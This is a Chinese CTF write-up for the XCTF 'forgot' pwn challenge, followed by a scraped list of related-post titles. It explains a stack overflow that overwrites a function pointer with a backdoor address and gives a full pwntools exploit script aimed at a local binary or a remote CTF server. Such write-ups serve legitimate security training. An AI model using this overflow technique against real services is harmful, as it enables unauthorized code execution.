哈哈哈,讲下这题的思路,拿到题目又是一大堆的字符串显示在控制台上,本想着又是一道逻辑题,披着逆向算法的外套,害,没办法继续分析

前面输入name用了fgets函数但是限制输入长度了,所以直接忽略,然后就是输入一个数对其进行简单的小算法了,我显示分析了一波算法,然后根据出题人的提示说这个,但是我好像还是摸不清题目的漏洞在哪里,就一直摸摸摸,先是简单的看了下全局伪代码,加上程序运行状况,发现你输入的数就算是通过了9层判断条件好像也是一样的打印一些字符串

这十个函数里面都是一样的没什么区别

然后出题人那个提示我也不知道有什么关系,可能是我太菜了,没有找到题目真正的考点吧。。。发现程序没有什么特别之处,就直接进行溢出了

编写溢出payload代码

z('b *0x8048a61')
sla('> ','admin')
payload =   b'a'*0x74 + b'a' * 4 + p32(0x80486CC)
sla('> ',payload)

运行后发现程序在这个地方卡住了

看了下这时候的栈发现实际情况少填充了4位

但是我添加了4位数据后,程序依旧卡死在这个地方了,然后我就在这个地方下断点看看正常情况下这里的数据是什么

修改后payload

z('b *0x8048a61')
sla('> ','admin')
payload =   b'aaaa'
sla('> ',payload)
p.interactive()

发现它call了0x8048618,然后就跳转到这个地址了,上面一行发现这个值就是从栈里面取得,那么看看栈

这里不就是那十个变量的位置吗,那么根据ida得出相对距离,对刚才0x8048618地址进行覆盖成后门函数的地址

z('b *0x8048a61')
sla('> ','admin')
payload =   b'a' * (0x78-0x54) + p32(0x80486CC)

ok获取flag

最终payload

from pwn import *
from LibcSearcher import *context (log_level = 'debug' ,bits=32 ,os = 'linux' ,arch = 'i386' ,terminal = ['tmux' , 'splitw', '-h'])
#context (log_level = 'debug' ,bits= 32,os = 'linux' ,arch = 'i386' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])# Interface
local = 1
binary_name = "forgot"
ip = "111.200.241.244"
port = 52418if local:p = process(["./" + binary_name])e = ELF("./" + binary_name)# libc = e.libc
else:p = remote(ip, port)e = ELF("./" + binary_name)# libc = ELF("libc-2.23.so")def z(a=''):if local:gdb.attach(p, a)if a == '':raw_input()else:passru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)z('b *0x8048a61')
sla('> ','admin')
payload =   b'a' * (0x78-0x54) + p32(0x80486CC)
sla('> ',payload)p.interactive()

《攻防世界》forgot栈空间题相关推荐

  1. 攻防世界forgot——让人眼花目眩的一道题(详细菜鸡向)

    攻防世界forgot--让人眼花目眩的一道题 今天做了一道攻防世界的进阶题,看起来复杂的一匹,但是实际上也就这吧 (随手关掉刚刚百度到的wp [doge]),做完后最直观的感受就是自己的代码阅读能力还 ...

  2. 攻防世界的杂项高手题之神奇的Modbus

    攻防世界的杂项高手题之神奇的Modbus 继续开启全栈梦想之逆向之旅~ 这题是攻防世界的杂项高手题之神奇的Modbus 下载附件,又是流量分析pcapng包,用wireshark打开: . . (这里 ...

  3. 攻防世界的杂项入门题之功夫再高也怕菜刀

    攻防世界的杂项入门题之功夫再高也怕菜刀 继续开启全栈梦想之逆向之旅~ 这题是攻防世界的杂项入门题之功夫再高也怕菜刀 下载附件,发现是pcapng文件. 这里积累第一个经验:在查找资料中学到这种流量文件 ...

  4. XCTF攻防世界练习区-web题(新手)

    XCTF攻防世界练习区-web题(新手) https://adworld.xctf.org.cn/task?now_checked_num=3&name=web 001 view_source ...

  5. 攻防世界XCTF-MISC入门12题解题报告

    MISC属于CTF中的脑洞题,简直就是信息安全界的脑筋急转弯.你说它渣,它也有亮点,不好评说.这块最亮眼的入门题就属隐写术,出题人骚的狠.但是我感觉未来其中一个重点,就是大数据安全,从海量流量中捕获恶 ...

  6. 攻防世界XCTF-WEB入门12题解题报告

    WEB入门题比较适合信息安全专业大一学生,难度低上手快,套路基本都一样 需要掌握: 基本的PHP.Python.JS语法 基本的代理BurpSuite使用 基本的HTTP请求交互过程 基本的安全知识( ...

  7. XCTF攻防世界Web新手入门题大全

    XCTF攻防世界Web之WriteUp无图版 (Tips:有图版本,请移步我的资源,自行下载doc文档) 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 vie ...

  8. 攻防世界:PWN刷题-forgot

    forgot 这题,可有意思了. 大晚上的,有点迷.看了几个wp,一个比一个离谱(太简单了). 后来自己试了试,还真是······ 思路:本题出现了指针变量并且进行了调用,所以可以利用栈溢出漏洞将该地 ...

  9. 攻防世界forgot

    adworld_forgot 这道题单纯的考对栈里数据的掌握,以及C程序调用 int __cdecl main() {size_t v0; // ebxchar v2[32]; // [esp+10h ...

最新文章

  1. Flask框架从入门到精通之转换器(四)
  2. apache 隐藏php版本,PHP+Apache环境中怎么隐藏Apache版本
  3. 您的第一个简单的机器学习项目
  4. HDU 6599 I Love Palindrome String (回文树+hash)
  5. linux gdb基本调试及其多线程调试
  6. 调用第三方接口发送短信
  7. [camera][v4l2][第五话]: UVC协议学习
  8. 高通模式9008模式linux,高通芯片如何进入9008模式深度救砖
  9. SAR成像处理算法_CS算法_原理
  10. openbci/bciduino脑电放大器lsl数据解释
  11. 关于“差生”的深度讨论
  12. 方便又高效,这几款远程办公软件值得学习
  13. 自动生成 中文随机名字(转)
  14. jsvmp-某乎 x-zes-96 算法还原
  15. 基于qt开发的智能系统:电子相册,监控摄像头模块,音乐播放器,视频播放器,电子时钟
  16. 能在微信刷淘宝?淘宝可以用微信支付了?
  17. JAVA练习177-有重复字符串的排列组合
  18. 计算机断层ct检查要不要麻醉,你过虑了!做CT记住三个叮嘱,其实不会很伤身体...
  19. JAVA计算机毕业设计美容美发店会员管理系统(附源码、数据库)
  20. X-Space系列教程二之履带式机器人配件准备

热门文章

  1. android 点击震动,Android 使用Vibrator服务实现点击按钮带有震动效果
  2. 亚马逊要求的FCC-ID和 CE-RED认证的定频机是什么
  3. atan2函数的用法
  4. ZigBee协调器向子节点发消息
  5. Vue引入第三方字体
  6. 【C语言|菜鸟教程】100道进阶经典例题详细解答(实例二)
  7. 基础论文 (一) ADDA
  8. 一切测试的基础——测试用例设计
  9. 原创|推荐一个月入过万的副业项目!
  10. ubuntu命令行 播放音乐